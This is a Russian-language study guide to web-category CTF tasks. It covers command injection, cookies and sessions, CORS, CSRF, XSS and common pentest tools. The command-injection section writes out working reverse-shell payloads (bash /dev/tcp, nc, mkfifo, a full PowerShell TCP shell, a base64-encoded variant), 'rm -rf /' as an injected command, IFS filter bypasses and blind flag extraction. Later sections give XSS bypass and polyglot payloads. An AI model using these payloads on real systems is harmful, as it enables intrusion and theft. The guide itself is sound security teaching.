Веб

Command Injection и OS Command Injection

Command Injection (или OS Command Injection) — это когда ты вставляешь свою команду в поле ввода (пинг, whois, конвертер файлов), и сервер выполняет её в своей операционной системе от имени приложения. Вместо безобидного «ping google.com» сервер может выполнить «ping google.com; rm -rf /» или запустить обратную оболочку. В CTF эта тема относится в первую очередь к категории Web (иногда Pwn или Misc). Чаще всего встречается в задачах, где нужно получить удалённый доступ к серверу, прочитать флаг из /flag.txt или запустить reverse shell, чтобы осмотреть файловую систему. Новичку важно понять command injection, потому что это один из самых «вкусных» способов получить shell в CTF. Зная базовые payloads и обход фильтров, ты часто за 5–20 минут превращаешь простое поле ввода в полноценный доступ к машине.

Словарь терминов

Термин
Что это простыми словами

Command Injection

Вставка своей команды в системный вызов сервера

OS Command Injection

То же самое, но конкретно выполнение в оболочке ОС

Reverse shell

Обратная оболочка: сервер подключается к твоей машине

Bypass фильтров

Способы обойти запреты на символы ;

&&

Выполняет вторую команду, только если первая удалась

;

Разделяет команды — выполняет вторую всегда

`

Выполняет команду внутри и подставляет результат

$()

Современный способ выполнить команду и подставить результат

nohup

Запускает команду, чтобы она не умирала при закрытии терминала

IFS

Переменная, разделяющая слова в команде (можно переопределить)

Blind injection

Нет вывода результата, но можно угадывать по поведению

Time-based

Угадывание по задержке выполнения команды

Простые инъекции, bypass фильтров (&&, ;, |, `, $())

Самый простой случай: сервер делает систему вроде ping $input. Ты вводишь 8.8.8.8; ls → сервер выполнит ping и потом ls.

Основные разделители команд:

  • ; — выполняет следующую команду всегда

  • && — выполняет следующую, только если предыдущая удалась

  • || — выполняет следующую, только если предыдущая провалилась

  • | — передаёт вывод первой команды во вторую

Если фильтр блокирует ; — пробуй &&, ||, whoami, $(whoami), ${PATH:0:1} — разные способы обойти.

Bypass часто делают через пробелы: ${IFS} вместо пробела (IFS — Internal Field Separator), %09 (табуляция), %0a (перенос строки).

В CTF простые инъекции — классика beginner/medium. На практике: начинай с ;id или &&id — если увидишь uid=33(www-data) — инъекция есть. Если блокирует ; — пробуй |id, &&id, $(id), ${IFS}id.

Reverse shell payloads, nohup, base64, IFS bypass

Reverse shell — ты запускаешь на своей машине слушатель (nc -lvnp 4444), а на сервере команду, которая подключается к тебе обратно.

Популярные payloads (Linux):

  • bash -i >& /dev/tcp/твой_ip/4444 0>&1

  • nc -e /bin/sh твой_ip 4444

  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc твой_ip 4444 >/tmp/f

Если нет nc — используй python, perl, php reverse shells.

nohup — запускает команду в фоне, чтобы она не умирала: nohup bash -i >& /dev/tcp/... &

base64 — если фильтр блокирует много символов, кодируешь payload в base64 и выполняешь: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE6NDQ0NCAwPiYx|base64 -d|bash

IFS bypass — export IFS=',';cat</etc/passwd → заменяет пробелы на запятую.

В CTF reverse shell — главная цель почти всех command injection. На практике: запускаешь nc на своей машине → вставляешь payload с твоим IP и портом → получаешь shell → cat /flag.txt или ls /.

Windows vs Linux payloads

Linux и Windows используют разные команды и оболочки.

Linux (bash/sh):

  • whoami, id, uname -a

  • cat /flag.txt, find / -name flag.txt 2>/dev/null

  • reverse: bash -i >& /dev/tcp/...

Windows (cmd.exe или powershell):

  • whoami, systeminfo, type flag.txt

  • dir c:, findstr /si flag *.txt

  • reverse (powershell): powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('твой_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

В CTF нужно понять ОС: uname -a или systeminfo часто дают подсказку. На практике: сначала пробуй ;whoami — если linux — получаешь www-data, если windows — nt authority\system или username. Потом подбираешь нужный payload.

Blind command injection и time-based атаки

Blind — когда сервер не показывает вывод команды, но ты можешь судить по поведению.

Time-based: вставляешь sleep 5 или ping -n 6 127.0.0.1 (windows) — если ответ приходит через 5 секунд — команда выполнилась.

Boolean blind: если команда верна — страница одна, если нет — другая (например, ping google.com && sleep 5).

Можно посимвольно угадывать содержимое файлов: ping -c 1 google.com && [ $(cat /flag.txt | cut -c1) = f ] && sleep 5

В CTF blind встречается, когда фильтры блокируют вывод, но задержки проходят. На практике: если id не выводит ничего — пробуй ;sleep 10 — задержка = работает. Потом угадывай флаг посимвольно или запускай reverse shell с задержкой (nohup bash ... & sleep 1).

Главное запомнить: command injection — выполнение системных команд через пользовательский ввод. Разделители — ; && || | $(). Лучшая цель — reverse shell. Linux и Windows требуют разных payloads. Blind/time-based спасают, когда вывода нет. Ключевые термины для запоминания: Command Injection, reverse shell, &&, ;, |,, $(), nohup, base64, IFS bypass, blind injection, time-based, Windows payloads. Эти знания помогут тебе в большинстве задач на RCE: быстро проверить поле на инъекцию, обойти фильтр разделителями, получить shell через reverse payload, вытащить флаг даже без вывода через time-based — вместо того чтобы тратить часы на другие векторы. С таким набором ты уже уверенно решаешь beginner и medium command injection задачи.


Cookies и сессии

Cookies и сессии — это способы, которыми сайт помнит, кто ты, когда ты заходишь снова или переходишь по страницам. Cookie — маленький кусочек текста, который браузер хранит и отправляет сайту с каждым запросом. Сессия — это "временный пропуск" на сайте, чтобы не заставлять тебя вводить логин и пароль на каждой странице. В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в задачах на авторизацию, обход логина, кражу флага из админки или манипуляцию чужой сессией. Новичку важно понять cookies и сессии, потому что в 70–80% web-задач флаг лежит за правильной кукой или сессией. Зная, как они работают и где ломаются, ты быстро находишь уязвимости и обходишь защиту, вместо того чтобы бесконечно перебирать пароли.

Словарь терминов

Термин
Что это простыми словами

Cookie

Маленький текст, который сайт просит браузер сохранить и присылать обратно

Session ID

Уникальный номер, по которому сервер понимает, кто ты

Secure

Куки отправляется только по HTTPS, не по обычному HTTP

HttpOnly

Куки нельзя прочитать через JavaScript

SameSite

Ограничивает, когда куки отправляется при переходе с другого сайта

Domain

Для какого домена действует куки (site.com или .site.com)

Path

Для каких путей на сайте куки отправляется (/admin, / и т.д.)

Expires/Max-Age

Когда куки истекает и удаляется из браузера

Session fixation

Атака, когда злоумышленник навязывает тебе свою сессию

Session hijacking

Кража чужой сессии, чтобы войти под чужим аккаунтом

Cookie tossing

Подсовывание лишних кук с одинаковым именем, но разными путями

Token-based

Сессия хранится в токене (JWT), а не на сервере

Cookie-based

Сессия хранится на сервере, а клиенту дают только ID

Каждая куки может иметь флаги — настройки, которые делают её безопаснее или ограничивают использование.

  • Secure — куки отправляется только если соединение HTTPS. Без этого флага куки утечёт по обычному HTTP.

  • HttpOnly — JavaScript не может прочитать эту куки (document.cookie её не увидит). Защищает от XSS-кражи сессии.

  • SameSite — три варианта: Strict (куки только с того же сайта), Lax (разрешает GET-переходы), None (разрешает всё, но требует Secure). Защищает от CSRF.

  • Domain — куки действует на site.com и поддомены (.site.com) или только на точный домен.

  • Path — куки отправляется только на указанный путь (/admin) или на все (/).

  • Expires или Max-Age — дата или время жизни куки. После истечения браузер её удаляет.

В CTF эти атрибуты — ключ к обходу защиты. На практике: если куки без Secure — можно перехватить по HTTP. Без HttpOnly — украсть через XSS. SameSite=Lax или None — можно использовать в CSRF. Если Path=/admin, а у тебя куки на / — иногда можно подсунуть свою куки с более широким путём (cookie tossing).

Сайт не хочет каждый раз спрашивать логин — поэтому после входа он создаёт сессию.

Cookie-based (самый частый): сервер придумывает случайный session ID, сохраняет его у себя (в базе или файле) вместе с данными пользователя (кто ты, права), а тебе отдаёт session ID в куки. При следующих запросах ты присылаешь ID — сервер смотрит, что это за пользователь.

Token-based (часто JWT): вместо хранения на сервере вся информация (логин, роль, срок) шифруется/подписывается и кладётся в токен. Токен лежит в куки или в заголовке. Сервер только проверяет подпись и срок.

В CTF cookie-based встречается чаще в простых задачах, token-based — в более сложных. На практике: если видишь куки вроде PHPSESSID, session, sid — это классическая сессия на сервере. Если JWT (длинная строка с точками: header.payload.signature) — токен. Меняй значения, декодируй, увеличивай права, удаляй подпись — часто флаг за этим.

Session fixation — атака, когда злоумышленник сначала получает session ID (например, через ссылку), потом заставляет жертву использовать именно этот ID. После входа жертвы злоумышленник заходит под тем же ID и получает её сессию.

Session hijacking — кража уже активной сессии: угадывание ID, перехват куки (через XSS, MITM, если нет Secure), подмена куки.

Cookie tossing — когда на одном домене несколько путей (/ и /admin), злоумышленник подсовывает куки с именем session, но Path=/, чтобы она перебила настоящую куки с Path=/admin.

В CTF это классические уязвимости для получения админ-сессии или флага. На практике: если session ID предсказуемый или короткий — пробуй угадать/перебрать. Если нет HttpOnly/Secure — XSS или HTTP-перехват. Cookie tossing — создавай куки с тем же именем, но Path=/ и нужным значением.

Самые важные флаги для защиты: Secure + HttpOnly + SameSite=Strict (или Lax). Без Secure — сессия крадётся по HTTP. Без HttpOnly — крадётся через XSS. Без SameSite — через CSRF можно заставить браузер отправить куки на запрос с другого сайта.

Дополнительно: короткий срок жизни куки (Expires/Max-Age), случайный и длинный session ID, регенерация ID после логина (чтобы fixation не работал), проверка IP/User-Agent (редко, но бывает).

В CTF отсутствие хотя бы одного флага — почти всегда уязвимость. На практике: смотри, какие флаги стоят на сессионной куки. Если нет HttpOnly — ищи XSS. Нет Secure — пробуй HTTP-версию сайта. Нет SameSite — делай CSRF-запрос. Если флаги есть, но сессия всё равно крадётся — ищи обход через поддомены, cookie tossing или слабый токен.

Главное запомнить: cookies — это способ хранить session ID или токен, флаги Secure/HttpOnly/SameSite сильно влияют на безопасность. Сессии бывают на сервере (cookie-based) или в токене (token-based). Уязвимости — fixation, hijacking, tossing — возникают из-за слабых ID, отсутствия флагов и предсказуемости. Ключевые термины для запоминания: Secure, HttpOnly, SameSite, session ID, cookie-based, token-based, JWT, session fixation, session hijacking, cookie tossing, Path, Domain. Эти знания помогут тебе в большинстве web-задач: понять, почему ты не админ (нет нужной куки), украсть сессию через XSS/CSRF, подменить токен, обойти логин изменением значения куки — и быстро добраться до флага вместо долгого brute-force или слепого угадывания. С таким подходом beginner и medium web-задачи решаются в разы быстрее.


CORS и Same-Origin Policy

Same-Origin Policy (SOP) — это главное правило безопасности в браузере: страница с одного сайта не может читать данные с другого сайта без разрешения. CORS (Cross-Origin Resource Sharing) — это механизм, который позволяет сайту сказать браузеру: «Разрешаю этому чужому сайту читать мои данные». В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в задачах на кражу данных между сайтами, доступ к API админа, чтение флага с внутреннего сервиса или эксплуатацию XSS через CORS. Новичку важно понять CORS и SOP, потому что это одна из самых частых уязвимостей в современных web-задачах. Зная, как работает разрешение и где допускают ошибки, ты быстро находишь места, откуда можно украсть куки, токены или секретный ответ сервера.

Словарь терминов

Термин
Что это простыми словами

Same-Origin Policy

Правило браузера: чужой сайт не может читать данные с моего

CORS

Способ, которым сервер разрешает чтение данных с другого сайта

Access-Control-Allow-Origin

Заголовок, который говорит, кому можно читать ответ

Access-Control-Allow-Methods

Какие методы (GET, POST и т.д.) разрешены с другого сайта

Access-Control-Allow-Headers

Какие заголовки можно отправлять в запросе с другого сайта

Access-Control-Allow-Credentials

Разрешает отправлять куки и авторизацию в кросс-доменный запрос

Preflight-запрос

OPTIONS-запрос перед настоящим, проверяет, можно ли делать запрос

Credentialed requests

Запросы с куками, логином или токеном авторизации

Wildcard *

Разрешение всем сайтам (Access-Control-Allow-Origin: *)

Null origin

Разрешение для страниц без origin (data:, file: и т.д.)

JSONP

Старый способ обходить SOP через script тег

postMessage

Способ общения между окнами/iframe разных доменов

document.domain

Старый способ ослабить SOP для поддоменов

Access-Control-Allow-Origin, Allow-Methods, Allow-Headers, credentialed requests

CORS работает через специальные заголовки в ответе сервера.

Access-Control-Allow-Origin — главный заголовок. Если он говорит Access-Control-Allow-Origin: https://evil.com — значит, страница на evil.com может читать ответ. Если *, то любой сайт. Если заголовка нет — браузер блокирует чтение.

Access-Control-Allow-Methods — перечисляет разрешённые методы: GET, POST, PUT и т.д. Access-Control-Allow-Headers — какие нестандартные заголовки можно отправить (например, Authorization, X-Token).

Credentialed requests — когда в запросе есть куки, логин или токен (withCredentials = true). Для таких запросов сервер должен явно указать Access-Control-Allow-Credentials: true и конкретный origin (не *).

В CTF неправильная настройка этих заголовков — самая частая дыра. На практике: если видишь Access-Control-Allow-Origin: * — можно сделать fetch с любого сайта и прочитать ответ (часто секретный API). Если Allow-Credentials: true + конкретный origin — можно украсть куки админа с доверенного сайта через XSS.

Preflight-запросы и их эксплуатация

Preflight — это предварительный запрос OPTIONS, который браузер отправляет перед «опасным» запросом (POST с кастомными заголовками, PUT, DELETE и т.д.). Браузер спрашивает: «Можно ли с origin evil.com делать POST с заголовком X-My-Token?». Сервер отвечает заголовками Allow-Methods, Allow-Headers, Allow-Origin.

Если сервер разрешает — браузер отправляет настоящий запрос. Если нет — блокирует.

Эксплуатация: часто сервер отвечает на OPTIONS слишком щедро (разрешает всё), но блокирует сам запрос. Или отвечает 200 на OPTIONS, даже если метод запрещён.

В CTF preflight часто используют, чтобы понять, какие методы и заголовки реально разрешены. На практике: если задача даёт CORS-уязвимость — попробуй отправить OPTIONS-запрос вручную → посмотри, что сервер разрешает → потом делай настоящий запрос с fetch или XMLHttpRequest и читай ответ.

Misconfigurations CORS (null origin, wildcard *)

Самые опасные ошибки конфигурации:

  • Access-Control-Allow-Origin: * — любой сайт может читать ответ. Часто сочетается с Allow-Credentials: true (ошибка, браузер такое блокирует).

  • Access-Control-Allow-Origin: null — разрешает страницам без origin (открытые data: URL, sandbox iframe, file://). Злоумышленник может открыть data:text/html с вредоносным кодом и читать ответ.

  • Динамический origin — сервер отражает Origin из запроса в Allow-Origin. Если Origin: https://evil.com — сервер отвечает тем же → разрешает.

Wildcard * с credentials — классическая ошибка, но браузер её блокирует. Зато null и reflected origin работают отлично.

В CTF это встречается в 60–70% CORS-задач. На практике: если Allow-Origin: * — просто делай fetch и читай секрет. Если null — создавай data: URL с JavaScript, который делает запрос. Если reflected — подставляй в Origin свой домен.

Same-Origin Policy обход через JSONP, postMessage, document.domain

SOP можно обойти старыми или специальными способами:

JSONP — сервер отдаёт данные в виде вызова функции: callback({"data": "secret"}). Злоумышленник вставляет script src="..." и читает данные через глобальную функцию.

postMessage — современный способ: окно или iframe отправляет сообщение другому окну через window.postMessage. Если получатель не проверяет origin — можно украсть данные.

document.domain — старый трюк для поддоменов: если оба сайта устанавливают document.domain = "example.com" — они становятся same-origin, даже если sub1.example.com и sub2.example.com.

В CTF эти обходы используют, когда CORS не настроен, но есть другие дыры. На практике: если видишь JSONP-подобный ответ (?callback=) — пробуй script с параметром callback=myfunc. postMessage — если есть iframe или popup, отправляй сообщение и слушай ответ. document.domain — редко, но если поддомены — устанавливай и читай друг друга.

Главное запомнить: Same-Origin Policy запрещает чтение данных между сайтами, CORS — единственный официальный способ разрешить. Самые частые уязвимости — wildcard *, null origin, reflected origin и credentialed запросы без проверки. Preflight защищает от опасных методов. Ключевые термины для запоминания: CORS, Same-Origin Policy, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, preflight, OPTIONS, null origin, wildcard *, reflected origin, JSONP, postMessage. Эти знания помогут тебе в большинстве web-задач на кражу данных: быстро понять, можно ли читать API с чужого сайта, создать вредоносную страницу для fetch, использовать null или reflected origin — и получить флаг, токен или секрет вместо долгого поиска XSS или других векторов. С таким подходом ты уже уверенно решаешь beginner и medium CORS-задачи.


Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) — это атака, когда злоумышленник обманом заставляет браузер жертвы выполнить нежелательное действие на доверенном сайте от её имени. Пока жертва авторизована, браузер автоматически отправляет куки с запросом, и действие (смена пароля, перевод денег, удаление аккаунта) происходит без ведома пользователя. В CTF эта тема относится в первую очередь к категории Web. Чаще всего CSRF встречается в задачах на изменение настроек аккаунта, получение флага из админ-панели, выполнение действия от имени другого пользователя или комбинированные атаки с XSS. Новичку важно понять CSRF, потому что это классическая уязвимость, которая часто сочетается с другими (XSS, open redirect). Зная, как работает защита и где её нет, ты быстро находишь места, где можно заставить жертву (или бота-админа) выполнить нужное действие и получить флаг.

Словарь терминов

Термин
Что это простыми словами

CSRF

Атака, заставляющая браузер жертвы выполнить действие на сайте

CSRF-токен

Случайная строка, которую сервер требует в каждом изменяющем запросе

Double submit cookie

Защита: токен хранится и в куки, и в форме — сервер сравнивает

SameSite

Атрибут куки, ограничивающий отправку при переходе с другого сайта

Lax

SameSite=Lax: куки отправляется при обычных GET-переходах

Strict

SameSite=Strict: куки отправляется только с того же сайта

None

SameSite=None: куки отправляется всегда (требует Secure)

JSON CSRF

CSRF через JSON-запросы (часто без токена)

CORS + CSRF

Комбинация, когда CORS разрешает чтение, а CSRF — изменение

Login CSRF

Атака, заставляющая жертву войти под аккаунтом злоумышленника

Браузер автоматически прикрепляет все куки к запросам на сайт, если пользователь авторизован. Если на вредоносной странице стоит форма

с полями amount=1000&to=attacker — и жертва просто откроет эту страницу, браузер отправит запрос с куками жертвы → деньги уйдут.

Защита: CSRF-токен — уникальная случайная строка, которую сервер кладёт в скрытое поле формы . При отправке формы токен приходит обратно — сервер проверяет, что токен совпадает с тем, что он выдал пользователю.

Double submit cookie — вариация: токен кладут и в куки (csrf_token=abc123), и в форму. Сервер сравнивает значение из формы и из куки. Работает, потому что злоумышленник не может прочитать куки жертвы (если нет XSS).

В CTF отсутствие токена или слабая проверка — классика. На практике: смотри все формы, которые меняют данные (смена пароля, email, роль). Если нет скрытого поля с токеном или он предсказуемый — делай форму на своей странице, которая отправит запрос от имени жертвы.

SameSite — атрибут куки, который говорит браузеру, когда отправлять куки в кросс-сайтовые запросы.

  • Strict — куки отправляется только если запрос пришёл с того же сайта (самая сильная защита от CSRF).

  • Lax — куки отправляется при «безопасных» переходах (GET по , , но не при POST или iframe).

  • None — куки отправляется всегда (используется для кросс-доменных логинов, но требует Secure).

Большинство современных браузеров по умолчанию ставят Lax, если атрибут не указан.В CTF SameSite=Lax или Strict часто спасает от классического CSRF, но не от всех вариантов. На практике: если куки сессии без SameSite или SameSite=None — классический CSRF работает. Если Lax — пробуй GET-запросы (если действие можно сделать GET) или комбинируй с XSS. Если Strict — CSRF почти невозможен без XSS.JSON CSRF, CORS + CSRF комбинацииJSON CSRF — когда действие выполняется через JSON-запрос (fetch или XMLHttpRequest с Content-Type: application/json). Браузер не отправляет куки в preflight-запросах для некоторых случаев, но если сервер не проверяет токен — атака возможна.CORS + CSRF — опасная комбинация: если CORS разрешает чтение ответа (Access-Control-Allow-Origin: * или с credentials), злоумышленник может сначала прочитать CSRF-токен через fetch, а потом отправить изменяющий запрос с этим токеном.В CTF такие комбинации встречаются в medium/hard задачах, особенно если есть API на JSON и слабый CORS. На практике: если видишь JSON API без токена — пробуй POST с JSON от имени жертвы. Если CORS позволяет читать — сначала fetch'и токен, потом используй его в изменяющем запросе.Login CSRF и другие варианты атакLogin CSRF — злоумышленник заставляет жертву войти под своим (злоумышленника) аккаунтом. После этого жертва работает в аккаунте атакующего → атакующий видит все действия, куки или флаги.Другие варианты: logout CSRF (выкинуть жертву из системы), change email CSRF, delete account CSRF — всё, что меняет состояние без подтверждения.В CTF login CSRF часто используют, чтобы заставить бота-админа войти под твоим аккаунтом, а потом прочитать флаг из его панели. На практике: если форма логина не имеет CSRF-токена — делай форму, которая логинит жертву под твоим логином/паролем. Потом заставляешь бота открыть эту страницу — он логинится под тобой → читаешь флаг.Главное запомнить: CSRF использует автоматическую отправку кук браузером для выполнения действий от имени жертвы. Лучшая защита — CSRF-токен + SameSite=Lax/Strict. Без токена или с SameSite=None атака почти всегда работает. JSON и CORS могут усложнить, но часто дают новые векторы. Ключевые термины для запоминания: CSRF, CSRF-токен, double submit cookie, SameSite, Lax, Strict, None, JSON CSRF, CORS + CSRF, login CSRF. Эти знания помогут тебе в большинстве web-задач: быстро проверить формы на отсутствие токена, использовать GET-действия при Lax, заставить бота выполнить действие через login CSRF или простую форму — и получить флаг, вместо того чтобы искать сложные XSS или SQLi. С таким подходом ты уже уверенно решаешь beginner и medium CSRF-задачи.Cross-Site Scripting (XSS)Cross-Site Scripting (XSS) — это когда злоумышленник заставляет браузер жертвы выполнить вредоносный JavaScript-код на сайте. Код выполняется от имени сайта, поэтому может читать куки, токены, изменять страницу, отправлять запросы от лица пользователя. В CTF эта тема относится в первую очередь к категории Web. Чаще всего XSS встречается в задачах на кражу куки/токена, выполнение действий от имени админа, чтение флага из админ-панели или обход фильтров ввода. Новичку обязательно понять XSS, потому что это одна из самых частых и самых «вкусных» уязвимостей в web-CTF. Зная типы XSS и способы обхода защиты, ты сможешь превратить простое поле ввода в способ украсть сессию или прочитать секрет за 10–30 минут.Словарь терминовReflected, Stored, DOM-based, blind/self XSSReflected XSS — самый простой: ты отправляешь вредоносный код в параметре (поиск, id, сообщение об ошибке), сервер вставляет его в ответ без обработки → браузер выполняет. Пример: ?search=Stored XSS — код сохраняется в базе (комментарий, имя профиля, пост), потом показывается всем, кто открывает страницу. Самый опасный, потому что поражает всех посетителей.DOM-based XSS — сервер отдаёт чистый код, но JavaScript на странице берёт данные из URL/location и вставляет в DOM опасно (innerHTML, document.write). Сервер даже не видит payload.Blind XSS — код выполняется, но ты не видишь результат (в админ-логах, поддержке, модерации). Self XSS — код работает только у тебя, но организаторы иногда просят обмануть самого себя или бота.В CTF reflected и DOM-based — самые частые в beginner/medium. Stored — в задачах на форумы/гостевые книги. Blind — в админ-панелях. На практике: вставляй в каждое поле ввода → если появляется окошко — XSS есть. Если нет — пробуй разные контексты: атрибуты, теги, JS-блоки.Filter bypass, mutation XSS, polyglot payloadsФильтры часто вырезают script, alert, javascript: и т.д. Bypass — это способы обмануть такие фильтры.Mutation XSS — браузер сам меняет HTML (парсер превращает <svg/onload=alert(1)> в рабочий код). Polyglot payload — один и тот же код работает в разных местах: внутри тега, атрибута, скрипта, комментария.Примеры bypass: вместо script — , , javascript:alert(1) в href, eval(atob('...')) для обфускации.В CTF почти каждая задача на XSS требует хотя бы простого bypass. На практике: если script вырезается — пробуй onerror, onload,

, . Polyglot вроде jaVasCript:/-//*\/'/"/**/(/* */alert(1)) — часто пробивает несколько фильтров сразу.CSP bypass (unsafe-inline, unsafe-eval, nonce, strict-dynamic)CSP (Content-Security-Policy) — заголовок, который говорит браузеру: «скрипты только с этих доменов», «запрети inline-скрипты», «запрети eval».unsafe-inline — разрешает скрипты прямо в HTML → XSS работает как обычно. unsafe-eval — разрешает eval(), setTimeout(string), Function() → можно обфусцировать payload. nonce — сервер генерирует случайный nonce и добавляет в → только такие скрипты работают. strict-dynamic — разрешает скрипты, которые загрузил доверенный скрипт (с nonce или hash).Bypass: если есть unsafe-inline — XSS обычный. Если nonce — крадём nonce через другую уязвимость (open redirect, JSONP). strict-dynamic — если можно внедрить <script src="..."> с доверенного домена — дальше можно всё.В CTF CSP-bypass — классика medium/hard задач. На практике: читай CSP в заголовках → если unsafe-inline — радуйся. Если nonce — ищи утечку nonce (открытый /api/nonce). Если strict-dynamic — пробуй внедрить скрипт через JSONP или другой разрешённый источник.DOM Clobbering, prototype pollution в JavaScript

DOM Clobbering — когда ты внедряешь HTML-элементы с id/name, которые переопределяют глобальные переменные. Пример: — window теперь ссылка на этот элемент, а не объект window.

Prototype pollution — если код делает obj[prop] = value без проверки, а prop = proto.toString — можно изменить Object.prototype и сломать весь JavaScript (все объекты получат новое свойство).

В CTF это используется, чтобы сломать клиентскую валидацию, CSP (обход window.eval), анти-XSS библиотеки или логику приложения.

На практике: если видишь, что сайт использует window.something или obj.hasOwnProperty — пробуй clobbering через или <a id="something">. Для pollution — ищи места, где берут user input в ключи объектов (JSON.parse без очистки).

Главное запомнить: XSS — это выполнение JS на чужом сайте, типы — reflected/stored/DOM-based/blind. Фильтры обходятся тегами вроде onerror/onload/svg, CSP — unsafe-inline/nonce/strict-dynamic. DOM Clobbering и prototype pollution ломают клиентскую логику. Ключевые термины для запоминания: Reflected XSS, Stored XSS, DOM-based XSS, blind XSS, filter bypass, polyglot payload, CSP, unsafe-inline, nonce, strict-dynamic, DOM Clobbering, prototype pollution. Эти знания помогут тебе в 80% web-задач: найти XSS в поле ввода, обойти фильтр, украсть куки/токен через alert(document.cookie), сломать CSP или клиентскую защиту — и быстро получить флаг вместо долгого поиска других уязвимостей. С таким набором ты уже уверенно решаешь beginner и большинство medium XSS-задач.


Инструменты для веб-исследования и эксплуатации

Инструменты для веб-исследования и эксплуатации — это программы, которые помогают изучать сайт, находить скрытые страницы, проверять уязвимости и быстро эксплуатировать их. Они автоматизируют рутинную работу: сканирование директорий, перехват запросов, поиск инъекций, fuzzing параметров. В CTF эта тема относится в первую очередь к категории Web. Чаще всего такие инструменты используются в задачах на reconnaissance (разведка), brute-force скрытых путей, эксплуатацию SQLi/XSS/Command Injection/SSRF и быстрое нахождение точек входа. Новичку важно хотя бы знать, что делают эти инструменты и когда их включать, потому что вручную искать /admin, /backup или угадывать параметры — это часы работы, а с правильным инструментом — минуты. Понимание их возможностей сильно ускоряет решение почти всех web-задач.

Словарь терминов

Термин
Что это простыми словами

Burp Suite

Программа-прокси для перехвата, изменения и повторения запросов

OWASP ZAP

Бесплатный аналог Burp с автоматическим сканером уязвимостей

sqlmap

Автоматически находит и эксплуатирует SQL-инъекции

ffuf

Очень быстрый инструмент для поиска скрытых директорий и файлов

dirsearch

Похож на ffuf, ищет директории по словарю

Nuclei

Сканирует сайт по готовым шаблонам уязвимостей (YAML)

feroxbuster

Rust-версия dirbuster, ищет файлы и директории рекурсивно

gobuster

Классический инструмент для brute-force директорий и DNS

whatweb

Определяет технологии сайта (CMS, сервер, фреймворки)

XSStrike

Продвинутый сканер и генератор payload'ов для XSS

tplmap

Находит и эксплуатирует Server-Side Template Injection

commix

Автоматически находит и эксплуатирует Command Injection

LFImap

Ищет и эксплуатирует Local File Inclusion

Postman

Программа для удобной работы с API (запросы, коллекции)

curl

Командная строка для отправки любых HTTP-запросов

Burp Suite, OWASP ZAP, sqlmap, ffuf, dirsearch

Burp Suite — главный инструмент веб-хакера. Ты ставишь его как прокси в браузере → все запросы проходят через Burp → можно их менять, повторять, отправлять в Intruder (для brute-force), Repeater (для ручных тестов) или Scanner (автоматический поиск дыр).

OWASP ZAP — бесплатная альтернатива Burp с похожими функциями + автоматический активный сканер (проверяет XSS, SQLi и т.д.).

sqlmap — когда нашёл подозрительное поле (id, search, login) — кидаешь туда sqlmap -u "http://site.com/page?id=1" → он сам проверяет все типы инъекций и вытаскивает базу, таблицы, данные.

ffuf и dirsearch — для поиска скрытых страниц: ffuf -u http://site.com/FUZZ -w wordlist.txt → перебирает тысячи директорий (/admin, /backup, /.git) за секунды.

В CTF эти инструменты — основа разведки и эксплуатации. На практике: открываешь Burp → ловишь запрос → меняешь параметры → если 200 вместо 403 — копаешь дальше. sqlmap — если подозреваешь SQLi. ffuf/dirsearch — всегда запускай на /FUZZ с хорошим словарем.

Nuclei, feroxbuster, gobuster, whatweb

Nuclei — мощный сканер: запускаешь nuclei -u http://site.com -t cves/ -t exposures/ → проверяет сотни готовых шаблонов (Log4Shell, Git exposed, .env, старые уязвимости).

feroxbuster и gobuster — как ffuf, но с разными особенностями: feroxbuster лучше работает с рекурсией и фильтрами, gobuster ещё делает DNS brute-force (vhost, subdomains).

whatweb — за секунду говорит, на чём сайт: Apache/2.4.41, WordPress 6.1, PHP 8.1, Laravel → сразу понимаешь, куда смотреть (плагины WP, известные дыры Laravel).

В CTF это инструменты быстрой разведки. На практике: whatweb site.com → видишь CMS → ищешь эксплойты. nuclei — запускаешь на все поддомены → часто находит .git, .env, старые CVE. feroxbuster/gobuster — если ffuf пропустил что-то.

XSStrike, tplmap, commix, LFImap

XSStrike — продвинутый XSS-сканер: сам генерирует сотни payload'ов, обходит WAF, ищет DOM XSS, reflected/stored.

tplmap — ищет Server-Side Template Injection (SSTI): Jinja2, Twig, Freemarker → если находит — часто даёт RCE.

commix — автомат для Command Injection: как sqlmap, но для os command → находит и даёт shell.

LFImap — для Local File Inclusion: читает /etc/passwd, ищет log poisoning, php://filter для чтения исходников.

В CTF это специализированные эксплойтеры. На практике: если подозреваешь XSS — кидаешь XSStrike. SSTI в шаблонах ({{7*7}}) — tplmap. Команда в ping/convert — commix. ../ в пути — LFImap.

Postman, curl, httpx, waybackurls, gau

Postman — удобный интерфейс для работы с API: сохраняешь запросы, коллекции, переменные, тестишь авторизацию, JSON.

curl — командная строка для любых запросов: curl -X POST -d "user=admin" http://site.com/login

httpx — проверяет, живые ли URL из списка: httpx -l urls.txt → быстро отсеивает мёртвые.

waybackurls и gau — вытаскивают все исторические URL сайта из архивов (Wayback Machine, Common Crawl) → часто находят старые /admin, /debug, забытые API.

В CTF это инструменты для разведки и ручной эксплуатации. На практике: gau site.com | httpx → получаешь тысячи старых путей → ffuf по ним. Postman — когда много API-запросов. curl — для быстрого теста заголовков, методов.

